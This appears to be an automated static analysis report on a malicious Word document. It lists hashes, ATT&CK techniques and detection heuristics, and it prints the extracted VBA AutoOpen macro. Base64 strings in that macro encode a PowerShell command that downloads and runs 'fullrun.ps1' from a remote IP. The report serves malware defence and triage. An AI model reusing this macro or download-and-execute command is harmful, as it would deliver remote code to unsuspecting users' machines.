Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 90455914107b5eac…

MALICIOUS

Office (OOXML)

17.4 KB Created: 2021-06-10 04:33:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-17
MD5: b431bdeee358c6ed92e32297d4c7b8b5 SHA-1: 60213f021c1d7edfbba88374c49e3cc69aa98f4c SHA-256: 90455914107b5eac8035d6999b665b65cfdcdfd9e4c6b7815bc376b2e8eb1090
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample is an OOXML document containing a VBA macro with an AutoOpen subroutine. This macro decodes and executes a PowerShell command that downloads a second-stage payload from the URL 'http://139.180.175.147/fullrun.ps1'. The use of CreateObject and CallByName, along with the AutoOpen execution, strongly suggests a malicious downloader.

Heuristics 8

  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/settings.xml.rels: file:///C:\Users\Banana\Desktop\dist\templatedocx.dotm
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1166 bytes
SHA-256: 9124529831d8ce1083f5990af101791bab43859f92f35cebb224d2900aeb5fb4
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1TemplateProject.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
        
        a = "UwBoAGUAbABsAC4AQQBwAHAAbABpAGMAYQB0AGkAbwBuAA"
        b = "UwBoAGUAbABsAEUAeABlAGMAdQB0AGUA"
        c = "IAAtAEMAbwBtAG0AYQBuAGQAIABpAGUAeAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA"
        d = "dAByAGkAbgBnACgAIgBoAHQAdABwADoALwAvADEAMwA5AC4AMQA4ADAALgAxADcANQAuADEANAA3AC8AZgB1AGwAbAByAHUAbgAuAHAAcwAxACIAKQA"
        E = "cABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlAA"
        ab = [Convert]:: Convert.FromBase64String (a)
        xy = [Convert]:: Convert.FromBase64String (b)
        zy = ""

        zy = zy + [Convert]:: Convert.FromBase64String (c) + "S" + [Convert]:: Convert.FromBase64String (d)
        Set ay = Interaction.CreateObject(ab)
        VBA$.Interaction.CallByName! ay, [xy], VbMethod, E, zy
        

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10752 bytes
SHA-256: 76908cb8109dd59942cc344a9f920adeb5946c48ab6597bf21b0c9dfe4b84c5e
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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